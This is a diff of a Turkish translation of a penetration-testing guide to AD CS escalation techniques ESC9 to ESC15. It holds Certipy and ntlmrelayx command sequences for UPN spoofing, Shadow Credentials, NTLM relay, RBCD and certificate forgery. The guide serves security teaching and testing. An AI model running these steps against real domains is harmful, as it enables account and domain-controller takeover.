+Sertifikadaki `userPrincipalName`'ın `Administrator` olarak göründüğü ve herhangi bir “object SID” içermediği görülür.
 
-`Jane`'in `userPrincipalName` daha sonra orijinaline, `Jane@corp.local`'a geri döndürülür:
+`Jane`'in `userPrincipalName`'ı daha sonra orijinali `Jane@corp.local` olarak geri döndürülür:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-İhraç edilen sertifika ile yapılan kimlik doğrulaması denemesi artık `Administrator@corp.local` hesabının NT hash'ini veriyor. Sertifika domain belirtmediği için komutun `-domain <domain>` içermesi gerekiyor:
+Verilen sertifika ile kimlik doğrulamaya çalışmak artık `Administrator@corp.local`'ın NT hash'ini döndürüyor. Sertifikada domain belirtilmemesi nedeniyle komutta `-domain <domain>` bulunmalıdır:
 ```bash
 certipy auth -pfx adminitrator.pfx -domain corp.local
 ```
@@ -499,50 +499,50 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
 
 ### Açıklama
 
-ESC10, etki alanı denetleyicisindeki iki kayıt defteri anahtar değerine atıfta bulunur:
+ESC10, etki alanı denetleyicisi üzerinde iki kayıt defteri değeri ile ilgilidir:
 
-- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altında `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), önceden `0x1F` olarak ayarlanmıştı.
-- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altında `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, önceden `0` idi.
+- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`.
+- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`.
 
-**Durum 1**
+**Vaka 1**
 
-`StrongCertificateBindingEnforcement` `0` olarak yapılandırıldığında.
+When `StrongCertificateBindingEnforcement` is configured as `0`.
 
-**Durum 2**
+**Vaka 2**
 
-`CertificateMappingMethods` `UPN` bitini (`0x4`) içeriyorsa.
+If `CertificateMappingMethods` includes the `UPN` bit (`0x4`).
 
-### Kötüye Kullanım Durumu 1
+### Kötüye Kullanım Vaka 1
 
-`StrongCertificateBindingEnforcement` `0` olarak yapılandırıldığında, `GenericWrite` izinlerine sahip bir hesap A, herhangi bir hesap B'yi ele geçirmek için suistimal edilebilir.
+With `StrongCertificateBindingEnforcement` configured as `0`, an account A with `GenericWrite` permissions can be exploited to compromise any account B.
 
-Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırganın amacı `Administrator@corp.local`'ı ele geçirmek olabilir. Prosedür ESC9 ile aynıdır ve herhangi bir certificate template'in kullanılmasına izin verir.
+For instance, having `GenericWrite` permissions over `Jane@corp.local`, an attacker aims to compromise `Administrator@corp.local`. The procedure mirrors ESC9, allowing any certificate template to be utilized.
 
-İlk olarak, `GenericWrite`'ı suistimal ederek Shadow Credentials kullanılarak Jane'in hash'i elde edilir.
+Initially, `Jane`'s hash is retrieved using Shadow Credentials, exploiting the `GenericWrite`.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-Ardından `Jane`'in `userPrincipalName` değeri, bir kısıtlama ihlalini önlemek için `@corp.local` kısmı kasıtlı olarak atlanarak `Administrator` olarak değiştirilir.
+Sonrasında, `Jane`'s `userPrincipalName` `Administrator` olarak değiştirilir; kısıtlama ihlalinden kaçınmak için `@corp.local` kısmı kasıtlı olarak atlanır.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Bunun ardından, varsayılan `User` şablonu kullanılarak `Jane` olarak istemci kimlik doğrulamasına izin veren bir sertifika talep edilir.
+Bunun ardından, varsayılan `User` şablonu kullanılarak `Jane` adına istemci kimlik doğrulamasını sağlayan bir sertifika talep edilir.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`Jane`'in `userPrincipalName` daha sonra orijinaline, `Jane@corp.local`, geri döndürülür.
+`Jane`'s `userPrincipalName` daha sonra orijinal değeri olan `Jane@corp.local` olarak geri döndürülür.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Elde edilen sertifika ile kimlik doğrulaması, `Administrator@corp.local`'in NT hash'ini verecek; sertifikada domain bilgisi bulunmadığı için komutta domain'in belirtilmesi gerekir.
+Elde edilen sertifikayla yapılan kimlik doğrulaması, `Administrator@corp.local`'ın NT hash'ini sağlayacaktır; sertifikada domain bilgisi bulunmadığı için komutta domainin belirtilmesi gerekir.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
-### Kötüye Kullanım Durumu 2
+### Suistimal Durumu 2
 
-`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliğine sahip olmayan herhangi bir B hesabını (makine hesapları ve yerleşik domain yöneticisi `Administrator` dahil) ele geçirebilir.
+`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliği olmayan herhangi bir B hesabını ele geçirebilir; buna makine hesapları ve yerleşik domain yöneticisi `Administrator` da dahildir.
 
-Burada amaç, `GenericWrite`'i kullanarak Shadow Credentials aracılığıyla `Jane`'in hash'ini elde etmekle başlayıp `DC$@corp.local`'ı ele geçirmek.
+Burada amaç, `GenericWrite`'i kullanarak Shadow Credentials ile `Jane`'in hash'ini elde etmekle başlayarak `DC$@corp.local`'ı ele geçirmektir.
 ```bash
 certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
 ```
@@ -550,31 +550,31 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
 ```
-İstemci kimlik doğrulaması için bir sertifika, varsayılan `User` şablonu kullanılarak `Jane` olarak talep edilir.
+İstemci kimlik doğrulaması için bir sertifika, varsayılan `User` şablonu kullanılarak `Jane` adına istendi.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`Jane`'in `userPrincipalName` bu işlemden sonra orijinaline geri döner.
+`Jane`'in `userPrincipalName` değeri bu işlemden sonra orijinaline geri döner.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
-Schannel üzerinden kimlik doğrulaması yapmak için Certipy’nin `-ldap-shell` seçeneği kullanılır; kimlik doğrulama başarısı `u:CORP\DC$` olarak gösterilir.
+Schannel üzerinden kimlik doğrulaması yapmak için Certipy’nin `-ldap-shell` seçeneği kullanılır; bu, kimlik doğrulamanın `u:CORP\DC$` olarak başarılı olduğunu gösterir.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-LDAP kabuğu aracılığıyla, `set_rbcd` gibi komutlar Resource-Based Constrained Delegation (RBCD) saldırılarına olanak tanır ve potansiyel olarak etki alanı denetleyicisini tehlikeye atar.
+LDAP shell üzerinden, `set_rbcd` gibi komutlar Resource-Based Constrained Delegation (RBCD) saldırılarına olanak sağlar ve potansiyel olarak domain controller'ı ele geçirebilir.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-This vulnerability also extends to any user account lacking a `userPrincipalName` or where it does not match the `sAMAccountName`, with the default `Administrator@corp.local` being a prime target due to its elevated LDAP privileges and the absence of a `userPrincipalName` by default.
+Bu zafiyet, `userPrincipalName` eksik olan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabına da yayılır; varsayılan `Administrator@corp.local`, varsayılan olarak `userPrincipalName`'e sahip olmaması ve yükseltilmiş LDAP ayrıcalıkları nedeniyle başlıca hedeftir.
 
 ## Relaying NTLM to ICPR - ESC11
 
-### Açıklama
+### Explanation
 
-If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+CA Server `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC servisi üzerinden imzalama olmadan NTLM relay saldırıları yapılabilir. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
-`certipy` ile `Enforce Encryption for Requests`'ın Disabled (devre dışı) olup olmadığını sayımlayabilirsiniz; certipy `ESC11` Vulnerabilities'i gösterecektir.
+`certipy`'yi, `Enforce Encryption for Requests`'in devre dışı (Disabled) olup olmadığını listelemek için kullanabilirsiniz ve certipy `ESC11` zafiyetlerini gösterecektir.
 ```bash
 $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -591,9 +591,9 @@ Enforce Encryption for Requests     : Disabled
 ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
 
 ```
-### Kötüye Kullanım Senaryosu
+### Abuse Scenario
 
-Relay server kurması gerekir:
+Bir relay server kurması gerekiyor:
 ```bash
 $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
 Certipy v4.7.0 - by Oliver Lyak (ly4k)
@@ -612,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-Not: Domain denetleyicileri için, DomainController içinde `-template` belirtmemiz gerekiyor.
+Not: Etki alanı denetleyicileri için DomainController içinde `-template` belirtmeliyiz.
 
 Veya [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
 ```bash
 $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
 ```
-## Shell access to ADCS CA with YubiHSM - ESC12
+## YubiHSM ile ADCS CA'ya shell erişimi - ESC12
 
 ### Açıklama
 
-Yöneticiler, Sertifika Yetkilisi'ni (Certificate Authority) Yubico YubiHSM2 gibi bir harici cihaza depolamak üzere yapılandırabilirler.
+Yöneticiler Sertifika Yetkilisi'ni (Certificate Authority) "Yubico YubiHSM2" gibi harici bir cihaza depolayacak şekilde yapılandırabilirler.
 
-CA sunucusuna USB portu aracılığıyla bağlı bir USB cihazı varsa, veya CA sunucusu bir virtual machine ise bir USB device server kullanılıyorsa, Key Storage Provider'ın YubiHSM içinde anahtar üretmek ve kullanmak için bir kimlik doğrulama anahtarına (bazı durumlarda "password" olarak adlandırılır) ihtiyacı vardır.
+CA sunucusuna bir USB portu aracılığıyla doğrudan bir USB cihazı bağlanmışsa veya CA sunucusu bir sanal makine ise bir USB device server aracılığıyla bağlıysa, Key Storage Provider'ın YubiHSM içinde anahtar oluşturup kullanabilmesi için bir kimlik doğrulama anahtarı (bazen "password" olarak anılır) gereklidir.
 
-Bu anahtar/password, kayıt defterinde `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` altında açık metin (cleartext) olarak saklanır.
+Bu anahtar/parola kayıt defterinde `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` altında düz metin (cleartext) olarak saklanır.
 
-Referans: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
+Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
 ### Kötüye Kullanım Senaryosu
 
-Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve sizde shell erişimi varsa, anahtarı kurtarmak mümkün olabilir.
+Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve siz shell erişimi elde ettiyseniz, anahtarı kurtarmak mümkündür.
 
-İlk olarak, CA sertifikasını edinmeniz gerekir (bu herkese açıktır) ve sonra:
+İlk olarak CA sertifikasını elde etmeniz gerekir (bu herkese açıktır) ve sonra:
 ```cmd
 # import it to the user store with CA certificate
 $ certutil -addstore -user my <CA certificate file>
@@ -642,17 +642,17 @@ $ certutil -addstore -user my <CA certificate file>
 # Associated with the private key in the YubiHSM2 device
 $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
 ```
-Son olarak, CA sertifikası ve özel anahtarını kullanarak yeni bir sertifika sahtelemek için certutil `-sign` komutunu kullanın.
+Son olarak, CA sertifikası ve onun özel anahtarı kullanılarak yeni, keyfi bir sertifika oluşturmak için certutil `-sign` komutunu kullanın.
 
 ## OID Group Link Abuse - ESC13
 
-### Explanation
+### Açıklama
 
-`msPKI-Certificate-Policy` özniteliği, sertifika şablonuna sertifika verme politikasının eklenmesini sağlar. Politika verme işlemlerinden sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) içinde keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` özniteliği kullanılarak bir AD grubuna bağlanabilir; böylece sistem sertifikayı sunan kullanıcıyı sanki grubun üyesiymiş gibi yetkilendirebilir. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+`msPKI-Certificate-Policy` özniteliği, sertifika şablonuna bir verme politikasının eklenmesine izin verir. Verme politikalarından sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID kapsayıcısının Configuration Naming Context'inde (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` özniteliği kullanılarak bir AD grubuna bağlanabilir; böylece sertifikayı sunan bir kullanıcı, grubun bir üyesiymiş gibi yetkilendirilebilir. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
-Başka bir deyişle, bir kullanıcının sertifika kaydetme izni varsa ve sertifika bir OID grubuna bağlıysa, kullanıcı bu grubun ayrıcalıklarını devralabilir.
+Diğer bir deyişle, bir kullanıcının sertifika enroll etme izni varsa ve sertifika bir OID grubuna bağlıysa, kullanıcı bu grubun ayrıcalıklarını devralabilir.
 
-Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
+OIDToGroupLink'i bulmak için [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) kullanın:
 ```bash
 Enumerating OIDs
 ------------------------
@@ -676,47 +676,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 ```
 ### Kötüye Kullanım Senaryosu
 
-Kullanıcının kullanabileceği bir izni bulmak için `certipy find` veya `Certify.exe find /showAllPermissions` kullanın.
+Bir kullanıcının hangi izne sahip olduğunu bulmak için `certipy find` veya `Certify.exe find /showAllPermissions` kullanılabilir.
 
 Eğer `John`'un `VulnerableTemplate`'a enroll izni varsa, kullanıcı `VulnerableGroup` grubunun ayrıcalıklarını devralabilir.
 
-Yapması gereken tek şey şablonu belirtmek; bu, OIDToGroupLink haklarına sahip bir sertifika almasını sağlar.
+Yapması gereken tek şey şablonu belirtmektir; böylece OIDToGroupLink haklarına sahip bir sertifika alacaktır.
 ```bash
 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
 ```
-## Zayıf Sertifika Yenileme Yapılandırması- ESC14
+## Zayıf Sertifika Yenileme Yapılandırması - ESC14
 
 ### Açıklama
 
-https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping adresindeki açıklama son derece kapsamlıdır. Aşağıda orijinal metinden bir alıntı bulunmaktadır.
+https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping adresindeki açıklama olağanüstü ayrıntılıdır. Aşağıda orijinal metinden bir alıntı yer almaktadır.
 
-ESC14, esas olarak Active Directory kullanıcı veya bilgisayar hesaplarındaki `altSecurityIdentities` özniteliğinin hatalı veya güvensiz yapılandırılmasından kaynaklanan "zayıf explicit certificate mapping" (zayıf açık sertifika eşlemesi) zafiyetlerini ele alır. Bu çok-değerli öznitelik yöneticilerin bir AD hesabını kimlik doğrulama amacıyla manuel olarak X.509 sertifikalarıyla ilişkilendirmesine izin verir. Doldurulduğunda, bu explicit eşlemeler tipik olarak sertifikanın SAN içindeki UPN'lere veya DNS isimlerine ya da `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısına gömülü SID'e dayanan varsayılan sertifika eşleme mantığını geçersiz kılabilir.
+ESC14, özellikle Active Directory kullanıcı veya bilgisayar hesaplarındaki `altSecurityIdentities` özniteliğinin kötüye kullanımı veya güvensiz yapılandırılması nedeniyle ortaya çıkan "weak explicit certificate mapping" zafiyetlerini ele alır. Bu çok değerli öznitelik, yöneticilere X.509 sertifikalarını kimlik doğrulama amacıyla bir AD hesabına manuel olarak ilişkilendirme imkanı verir. Doldurulduğunda, bu açık eşlemeler genellikle sertifikanın SAN'ındaki UPN'lere veya DNS adlarına ya da `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısında gömülü SID'e dayanan varsayılan sertifika eşleme mantığının önüne geçebilir.
 
-"Zayıf" bir eşleme, `altSecurityIdentities` özniteliği içinde bir sertifikayı tanımlamak için kullanılan string değerin çok geniş, kolay tahmin edilebilir, benzersiz olmayan sertifika alanlarına dayanıyor olması veya kolayca taklit edilebilir sertifika bileşenleri kullanması durumunda ortaya çıkar. Bir saldırgan, ayrıcalıklı bir hesap için böyle zayıf tanımlanmış bir explicit eşlemeyle eşleşen bir sertifika elde edebilir veya oluşturabilirse, o sertifikayı hesabın kimliğini doğrulamak ve hesabı taklit etmek için kullanabilir.
+Bir "zayıf" eşleme, `altSecurityIdentities` özniteliği içinde bir sertifikayı tanımlamak için kullanılan dize değeri çok geniş olduğunda, kolayca tahmin edilebilir olduğunda, benzersiz olmayan sertifika alanlarına dayandığında veya kolayca taklit edilebilen sertifika bileşenleri kullandığında ortaya çıkar. Bir saldırgan, ayrıcalıklı bir hesap için böyle zayıf tanımlanmış bir açık eşlemeyle eşleşen bir sertifika elde edebilirse veya oluşturabilirse, o hesabı doğrulamak ve taklit etmek için bu sertifikayı kullanabilir.
 
-Potansiyel olarak zayıf `altSecurityIdentities` eşleme stringlerine örnekler:
+Potansiyel olarak zayıf `altSecurityIdentities` eşleme dizelerine örnekler şunlardır:
 
-- Sadece yaygın bir Subject Common Name (CN) ile eşleme yapmak: örn., `X509:<S>CN=SomeUser`. Bir saldırgan bu CN'ye sahip bir sertifikayı daha az güvenli bir kaynaktan temin edebilir.
-- Belirli bir seri numarası veya subject key identifier gibi daha fazla nitelendirme olmaksızın aşırı genel Issuer Distinguished Name (DN) veya Subject DN kullanmak: örn., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Bir saldırganın meşru olarak elde edebileceği veya (eğer bir CA'yi ele geçirmişse veya ESC1'de olduğu gibi savunmasız bir şablon bulduysa) sahteleyebileceği diğer tahmin edilebilir kalıpları veya kriptografik olmayan tanımlayıcıları kullanmak.
+- Sadece yaygın bir Subject Common Name (CN) ile eşleme: ör. `X509:<S>CN=SomeUser`. Bir saldırgan bu CN'ye sahip bir sertifikayı daha az güvenli bir kaynaktan elde edebilir.
+- Belirli bir seri numarası veya subject key identifier gibi ek nitelendirme olmadan aşırı genel Issuer Distinguished Name (DN) veya Subject DN kullanma: ör. `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
+- Bir saldırganın meşru olarak elde edebileceği veya (bir CA'yı ele geçirdiyse veya ESC1'de olduğu gibi savunmasız bir şablon bulduysa) sahteleyebileceği sertifikada karşılayabileceği diğer öngörülebilir desenleri veya kriptografik olmayan tanımlayıcıları kullanma.
 
-`altSecurityIdentities` özniteliği aşağıdaki gibi çeşitli eşleme formatlarını destekler:
+`altSecurityIdentities` özniteliği şu gibi çeşitli eşleme formatlarını destekler:
 
 - `X509:<I>IssuerDN<S>SubjectDN` (tam Issuer ve Subject DN ile eşler)
-- `X509:<SKI>SubjectKeyIdentifier` (sertifikanın Subject Key Identifier uzantı değeriyle eşler)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (seri numarası ile eşler, dolaylı olarak Issuer DN ile nitelendirilir) - bu standart bir format değildir, genellikle `<I>IssuerDN<SR>SerialNumber` şeklindedir.
-- `X509:<RFC822>EmailAddress` (SAN içindeki RFC822 adı, tipik olarak bir e-posta adresi ile eşler)
-- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (sertifikanın ham açık anahtarının SHA1 hash'i ile eşler - genel olarak güçlüdür)
+- `X509:<SKI>SubjectKeyIdentifier` (sertifikanın Subject Key Identifier uzantı değeri ile eşler)
+- `X509:<SR>SerialNumberBackedByIssuerDN` (seri numarasına göre eşler, dolaylı olarak Issuer DN ile nitelendirilir) - bu standart bir format değildir, genellikle `<I>IssuerDN<SR>SerialNumber` şeklindedir.
+- `X509:<RFC822>EmailAddress` (SAN'dan genellikle bir e-posta adresi olan bir RFC822 adına göre eşler)
+- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (sertifikanın ham açık anahtarının SHA1 karması ile eşler - genel olarak güçlü)
 
-Bu eşlemelerin güvenliği, eşleme stringinde seçilen sertifika tanımlayıcılarının özgüllüğüne, benzersizliğine ve kriptografik gücüne büyük ölçüde bağlıdır. Domain Controller'larda güçlü sertifika bağlama modları etkin olsa bile (bunlar esasen SAN UPN/DNS ve SID uzantısına dayalı implicit eşlemeleri etkiler), kötü yapılandırılmış bir `altSecurityIdentities` girdisi eşleme mantığı kendisi hatalı veya çok izin verici ise doğrudan taklit için bir yol sunabilir.
+Bu eşlemelerin güvenliği, eşleme dizesinde seçilen sertifika tanımlayıcılarının özgüllüğüne, benzersizliğine ve kriptografik gücüne büyük ölçüde bağlıdır. Domain Controller'larda güçlü sertifika bağlama modları etkin olsa bile (bunlar öncelikle SAN UPN/DNS ve SID uzantısına dayalı örtük eşlemeleri etkiler), zayıf yapılandırılmış bir `altSecurityIdentities` girdisi, eşleme mantığı kendisi hatalı veya çok izin verici ise yine de taklit için doğrudan bir yol sunabilir.
 
 ### Kötüye Kullanım Senaryosu
 
-ESC14, Active Directory (AD) içindeki **explicit certificate mappings**'i, özellikle `altSecurityIdentities` özniteliğini hedef alır. Bu öznitelik ayarlanmışsa (tasarım gereği veya yanlış yapılandırma nedeniyle), saldırganlar eşleşen sertifikaları sunarak hesapları taklit edebilirler.
+ESC14, Active Directory (AD) içindeki açık sertifika eşlemelerini, özel olarak `altSecurityIdentities` özniteliğini hedef alır. Bu öznitelik ayarlıysa (tasarım gereği veya yanlış yapılandırma sonucu), saldırganlar eşlemeyle uyuşan sertifikaları sunarak hesapları taklit edebilirler.
 
-#### Senaryo A: Saldırgan `altSecurityIdentities` üzerine yazabilir
+#### Senaryo A: Saldırgan `altSecurityIdentities` Üzerine Yazabilir
 
-Önkoşul: Saldırganın hedef hesabın `altSecurityIdentities` özniteliğine yazma izinleri veya hedef AD nesnesi üzerinde aşağıdaki izinlerden biri şeklinde bu izni verebilme yetkisi vardır:
+Önkoşul: Saldırganın hedef hesabın `altSecurityIdentities` özniteliğine yazma izinleri veya hedef AD nesnesi üzerinde aşağıdaki izinlerden birini verme izni bulunmaktadır:
 - Write property `altSecurityIdentities`
 - Write property `Public-Information`
 - Write property (all)
@@ -726,19 +726,20 @@ ESC14, Active Directory (AD) içindeki **explicit certificate mappings**'i, öze
 - `GenericAll`
 - Owner*.
 
-#### Senaryo B: Hedefin X509RFC822 (E-posta) üzerinden zayıf eşlemesi var
+#### Senaryo B: Hedefin X509RFC822 (E-Posta) Yoluyla Zayıf Eşlemesi Var
 
-- Önkoşul: Hedefin altSecurityIdentities içinde zayıf bir X509RFC822 eşlemesi vardır. Bir saldırgan, kurbanın mail özniteliğini hedefin X509RFC822 adına uydurabilir, kurban adına bir sertifika kaydettirebilir ve bu sertifikayı hedef gibi kimlik doğrulamak için kullanabilir.
+- Önkoşul: Hedefin altSecurityIdentities içinde zayıf bir X509RFC822 eşlemesi vardır. Bir saldırgan, kurbanın mail özniteliğini hedefin X509RFC822 adıyla eşleşecek şekilde ayarlayabilir, kurban adına bir sertifika kaydettirebilir ve bu sertifikayı hedef olarak kimlik doğrulaması yapmak için kullanabilir.
 
 #### Senaryo C: Hedefin X509IssuerSubject Eşlemesi Var
 
-- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509IssuerSubject explicit eşlemesi vardır. Saldırgan, kurban principal'in cn veya dNSHostName özniteliğini hedefin X509IssuerSubject eşlemesinin subject'ına uydurabilir. Ardından, saldırgan kurban adına bir sertifika kaydettirip bu sertifikayı kullanarak hedef olarak kimlik doğrulayabilir.
+- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509IssuerSubject açık eşlemesi vardır. Saldırgan, kurban ilkesi üzerindeki `cn` veya `dNSHostName` özniteliğini hedefin X509IssuerSubject eşlemesinin subject'ı ile eşleşecek şekilde ayarlayabilir. Ardından saldırgan, kurban adına bir sertifika kaydettirip bu sertifikayı hedef olarak kimlik doğrulaması yapmak için kullanabilir.
 
 #### Senaryo D: Hedefin X509SubjectOnly Eşlemesi Var
 
-- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509SubjectOnly explicit eşlemesi vardır. Saldırgan, kurban principal'in cn veya dNSHostName özniteliğini hedefin X509SubjectOnly eşlemesinin subject'ına uydurabilir. Ardından, saldırgan kurban adına bir sertifika kaydettirip bu sertifikayı kullanarak hedef olarak kimlik doğrulayabilir.
+- Önkoşul: Hedefin `altSecurityIdentities` içinde zayıf bir X509SubjectOnly açık eşlemesi vardır. Saldırgan, kurban ilkesi üzerindeki `cn` veya `dNSHostName` özniteliğini hedefin X509SubjectOnly eşlemesinin subject'ı ile eşleşecek şekilde ayarlayabilir. Ardından saldırgan, kurban adına bir sertifika kaydettirip bu sertifikayı hedef olarak kimlik doğrulaması yapmak için kullanabilir.
+
+### somut işlemler
 
-### Somut işlemler
 #### Senaryo A
 
 Sertifika şablonu `Machine` için bir sertifika talep edin.
@@ -757,27 +758,27 @@ Temizlik (isteğe bağlı)
 ```bash
 Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
 ```
-Daha spesifik saldırı yöntemleri ve farklı saldırı senaryoları için lütfen şu kaynağa bakın: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
+Daha spesifik saldırı yöntemleri için lütfen şu kaynağa bakın: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
 
-## EKUwu Uygulama Politikaları (CVE-2024-49019) - ESC15
+## EKUwu Uygulama Politikaları(CVE-2024-49019) - ESC15
 
 ### Açıklama
 
-https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc adresindeki açıklama son derece ayrıntılıdır. Aşağıda orijinal metinden bir alıntı yer almaktadır.
+https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc adresindeki açıklama bir hayli ayrıntılıdır. Aşağıda orijinal metinden bir alıntı bulunmaktadır.
 
-Dahili varsayılan sürüm 1 sertifika şablonlarını kullanarak, bir saldırgan şablonda belirtilen yapılandırılmış Extended Key Usage özniteliklerine göre daha tercih edilen uygulama politikalarını içerecek şekilde bir CSR hazırlayabilir. Tek gereksinim kayıt (enrollment) haklarıdır ve **_WebServer_** şablonunu kullanarak istemci kimlik doğrulama, sertifika talep aracısı ve kod imzalama sertifikaları oluşturmak için kullanılabilir.
+Yerleşik varsayılan sürüm 1 sertifika şablonlarını kullanarak, bir saldırgan CSR'yi şablonda belirtilen yapılandırılmış Extended Key Usage özniteliklerinden daha tercih edilen uygulama politikalarını içerecek şekilde oluşturabilir. Tek gereksinim enrollment haklarıdır ve bu yöntem **_WebServer_** şablonu kullanılarak client authentication, certificate request agent ve codesigning sertifikaları üretmek için kullanılabilir.
 
 ### Kötüye Kullanım
 
-Aşağıdaki referans [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Daha ayrıntılı kullanım yöntemleri için tıklayın.
+Aşağıdakiler [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
 
-Certipy'nin `find` komutu, CA yamalanmamışsa ESC15'e potansiyel olarak açık olabilecek V1 şablonlarını tespit etmeye yardımcı olabilir.
+Certipy'nin `find` komutu, CA yamalanmamışsa ESC15'e potansiyel olarak açık olabilecek V1 şablonlarını belirlemeye yardımcı olabilir.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
-#### Senaryo A: Direct Impersonation via Schannel
+#### Senaryo A: Schannel aracılığıyla Doğrudan Taklit
 
-**Adım 1: Bir sertifika talep edin, "Client Authentication" Application Policy ve hedef UPN'i enjekte ederek.** Saldırgan `attacker@corp.local`, "WebServer" V1 şablonunu (kaydolanın sağladığı subject'e izin veren) kullanarak `administrator@corp.local`'u hedef alır.
